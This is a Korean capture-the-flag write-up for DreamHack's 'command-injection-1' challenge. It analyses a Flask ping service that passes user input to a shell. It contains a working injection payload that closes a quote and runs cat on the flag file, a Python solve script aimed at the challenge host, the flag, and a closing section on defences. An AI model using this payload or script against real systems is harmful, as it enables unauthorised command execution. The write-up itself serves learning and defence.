[🌱 새싹] 따옴표 하나로 셸을 가른다 — DreamHack command-injection-1 풀이

문제: DreamHack — command-injection-1 분류: Web (OS Command Injection) 난이도: 🌱 새싹 (Sprout) FLAG: DH{pingpingppppppppping!!}

"Dreamhack Ping Tester"라는 이름 그대로, IP를 넣으면 서버가 ping을 돌려 결과를 보여주는 페이지다. 화면은 단순하지만 입력한 값이 셸 명령 문자열에 그대로 들어가는 전형적인 커맨드 인젝션 문제다. 따옴표 안에 들어가 있어서 한 번 닫아주는 것만 추가하면 된다.

문제 개요

문제 압축을 풀면 Flask 앱 하나가 전부다. / 는 안내 페이지, /ping 이 실제 기능이다.

분석

서버 코드

app.py의 핵심은 /ping 라우트다.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
 
    return render_template('ping.html')

문제가 되는 줄은 딱 두 개다.

cmd = f'ping -c 3 "{host}"'
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)

host를 큰따옴표로 감싸 명령 문자열을 만든 뒤, 그 문자열을 통째로 /bin/sh -c 에 넘긴다. subprocess를 리스트 형태로 호출하긴 했지만 정작 그 리스트가 ['/bin/sh', '-c', cmd] 라, 셸이 cmd 문자열을 다시 파싱한다. 입력 검증은 어디에도 없다. 큰따옴표 안에 갇혀 있다는 점만 빼면 입력을 그대로 셸에 던지는 셈이다.

플래그가 어디 있는지는 flag.py 한 줄로 명확하다.

FLAG = 'DH{[REDACTED]}'

app.py가 from flag import FLAG 로 가져오니, 컨테이너 안에서 /app/flag.py 만 읽으면 끝이다. Dockerfile을 보면 WORKDIR /app 이고 소스가 /app 으로 복사되므로 경로도 확실하다.

정상 동작 확인

/ping 에 들어가면 host 입력 폼이 하나 있다.

평범하게 8.8.8.8 을 넣으면 서버가 ping을 3번 돌려 그 결과를 <pre> 로 보여준다. 입력이 실제 셸 명령의 인자로 들어간다는 게 눈으로 확인된다.

삽질 — 클라이언트 검증에 막히다

폼의 HTML을 보면 입력칸에 pattern 속성이 걸려 있다.

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8"
       name="host" pattern="[A-Za-z0-9.]{5,20}" required>

영문/숫자/점만, 5~20글자. 그래서 브라우저에서 ";cat /app/flag.py # 같은 페이로드를 넣고 Ping! 을 누르면 전송 자체가 막힌다.

▶브라우저가 막아버린 화면

"요청한 형식과 일치시키세요." HTML5 pattern 의 기본 검증 메시지다.

하지만 이 pattern 은 클라이언트(브라우저)에서만 도는 검증이다. 서버 app.py 어디에도 host 형식을 다시 확인하는 코드가 없다. 즉 브라우저를 거치지 않고 POST 요청을 직접 보내면(또는 개발자도구로 pattern 속성을 지우면) 그냥 통과한다. 클라이언트 검증은 UX용 가드레일일 뿐, 보안 경계가 아니라는 교과서 같은 사례다.

curl 한 줄이면 폼의 제약과 무관하게 원하는 값을 그대로 보낼 수 있다.

curl -s -X POST http://host3.dreamhack.games:12209/ping \
     --data-urlencode 'host=8.8.8.8'

페이로드 설계

명령 문자열이 만들어지는 모양을 다시 보자.

cmd = f'ping -c 3 "{host}"'
        └──────────┘ └─┘
         고정 부분    우리가 넣는 host

host 앞뒤로 큰따옴표가 하나씩 붙는다. 그래서 먼저 따옴표(")를 하나 닫아 ping -c 3 "" 로 끝내고, ; 로 새 명령을 시작한 다음 cat /app/flag.py 를 적는다. 문제는 템플릿이 마지막에 닫는 따옴표 하나를 더 붙인다는 것 — 그대로 두면 짝이 안 맞아 셸이 에러를 낸다. 끝에 # 를 두어 그 뒤를 통째로 주석 처리하면 깔끔하게 정리된다.

host = ";cat /app/flag.py #

이걸 넣으면 셸이 받는 최종 문자열은 이렇게 된다.

ping -c 3 "";cat /app/flag.py #"

/bin/sh 는 이걸 ; 기준으로 세 토막으로 본다.

여기서 # 가 중요한 이유가 한 가지 더 있다. app.py 는 subprocess.check_output 을 쓰는데, 이 함수는 명령이 0이 아닌 코드로 끝나면 CalledProcessError 를 던지고, 그러면 코드가 출력 대신 에러 템플릿을 보여준다. 마지막에 실행되는 명령이 cat /app/flag.py(존재하는 파일 → 종료코드 0)가 되도록 # 로 뒤를 잘라주면, 전체가 0으로 끝나 출력이 정상적으로 응답에 실린다. 중간의 빈 ping -c 3 "" 가 실패하든 말든 마지막 명령의 종료코드만 보면 되니 상관없다.

따옴표를 닫고 명령 하나만 끼워 넣는다 — 블랙리스트도, 서버측 형식 검사도 없으니 우회랄 것도 없는 가장 기본형 인젝션이다.

익스플로잇

요청을 직접 보내고 응답의 <pre> 만 뽑아내는 짧은 스크립트로 정리했다.

# solve.py
import re, sys, html, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:12209"
 
def ping(host: str) -> str:
    data = urllib.parse.urlencode({"host": host}).encode()
    req = urllib.request.Request(BASE.rstrip("/") + "/ping", data=data)
    body = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
    m = re.search(r"<pre>(.*?)</pre>", body, re.S)
    return html.unescape(m.group(1)).strip() if m else "(no <pre> output)"
 
# 1) 정상 동작 확인
print("[*] 정상 ping (8.8.8.8):")
print(ping("8.8.8.8"))
print()
 
# 2) 인젝션 — 따옴표 닫고 cat 주입, 끝의 #로 닫는 따옴표 주석처리
payload = '";cat /app/flag.py #'
print(f"[*] 페이로드: host={payload!r}")
out = ping(payload)
print("[*] 응답 <pre>:")
print(out)
 
# 3) 플래그 추출
flag = re.search(r"DH\{[^}]*\}", out)
if flag:
    print()
    print("[+] FLAG:", flag.group(0))

실행하면 정상 ping 결과가 한 번 찍히고, 이어서 인젝션 응답 자리에 flag.py 의 내용이 그대로 나온다.

브라우저에서도 똑같이 재현된다. 개발자도구로 pattern 속성만 지우고 페이로드를 넣은 뒤,

Ping! 을 누르면 ping 결과가 있어야 할 <pre> 자리에 FLAG = 'DH{...}' 가 떠 있다.

DH{pingpingppppppppping!!}

방어 — 어떻게 막나

이 문제의 근본 원인은 사용자 입력을 셸 명령 문자열로 합친 것이다. 막는 방향은 분명하다.

1. 셸을 거치지 않는다. ping 같은 외부 명령은 셸 문자열이 아니라 인자 리스트로 직접 실행한다. 셸이 파싱할 문자열 자체가 없으니 메타문자를 넣을 자리도 사라진다.

# 나쁨: 셸이 문자열을 다시 파싱한다
subprocess.check_output(['/bin/sh', '-c', f'ping -c 3 "{host}"'])
 
# 좋음: 인자를 리스트로 — host 는 ping 의 인자 한 개로만 전달
subprocess.check_output(['ping', '-c', '3', host])

리스트로 넘기면 host 가 ";cat ..." 이든 뭐든 그건 그냥 "핑을 보낼 호스트 이름"일 뿐이라, ping이 "이름 못 찾음" 에러를 낼 뿐 명령이 실행되지 않는다.

2. 입력은 서버에서 검증한다. HTML pattern 은 사용자 편의일 뿐이다. 호스트/IP만 받아야 한다면 서버에서도 정규식·ipaddress 모듈 등으로 다시 확인해야 한다. 클라이언트 검증은 우회되는 것을 전제로 둔다.

3. 굳이 셸이 필요하면 이스케이프한다. 셸 호출이 불가피하다면 shlex.quote() 로 인자를 감싼다. 다만 1번(리스트 인자)이 가능하면 그쪽이 항상 낫다.

새싹 난이도답게 우회 기교가 필요 없는 깔끔한 기본형이지만, "사용자 입력 + 셸 문자열 조합"이라는 패턴 하나가 어떻게 곧장 임의 명령 실행으로 이어지는지를 한눈에 보여주는 문제였다.